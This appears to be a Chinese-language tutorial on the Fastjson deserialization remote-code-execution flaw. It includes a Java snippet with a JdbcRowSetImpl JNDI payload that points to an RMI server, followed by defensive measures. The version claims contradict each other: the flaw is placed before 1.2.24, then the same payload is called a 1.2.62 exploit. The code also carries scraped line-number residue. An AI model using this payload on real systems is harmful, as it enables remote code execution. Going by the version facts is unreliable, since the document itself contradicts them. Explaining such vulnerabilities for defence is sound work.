1、Fastjson 漏洞背景

Fastjson 是阿里巴巴开源的一个 JSON 解析器,它具有解析速度快、使用简单等特点,被广泛使用在 Android、JavaEE 等领域。Fastjson 在 1.2.24 版本之前存在远程代码执行漏洞,攻击者可以通过构造恶意 JSON 字符串,利用该漏洞远程执行任意代码。

2、Fastjson 1.2.62 远程代码执行漏洞示例分析

Fastjson 1.2.62 版本的远程代码执行漏洞可以通过构造恶意 JSON 字符串,利用反序列化功能进行攻击。下面以一个示例来分析 Fastjson 1.2.62 版本的远程代码执行漏洞:

12345678910111213141516public class Test {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
        JSON.parseObject(jsonString);
    }
}
Java

上面的代码中,我们构造了一个恶意 JSON 字符串,该字符串指定了一个反序列化的类型为 com.sun.rowset.JdbcRowSetImpl,并且指定了一个 RMI 服务器的地址,当 Fastjson 反序列化该 JSON 字符串时,就会去访问 RMI 服务器,从而实现远程代码执行的攻击。

3、防御措施

为了防御 Fastjson 1.2.62 版本的远程代码执行漏洞,我们可以采取以下措施:

1. 尽量不要使用 Fastjson 1.2.62 以及之前的版本,可以升级到最新的版本;

2. 对用户输入的 JSON 字符串进行过滤,确保 JSON 字符串中不包含可能导致漏洞利用的特殊字符;

3. 关闭 RMI 服务,防止攻击者利用 RMI 服务进行攻击;

4. 对 Fastjson 反序列化的类进行限制,只允许反序列化白名单中的类。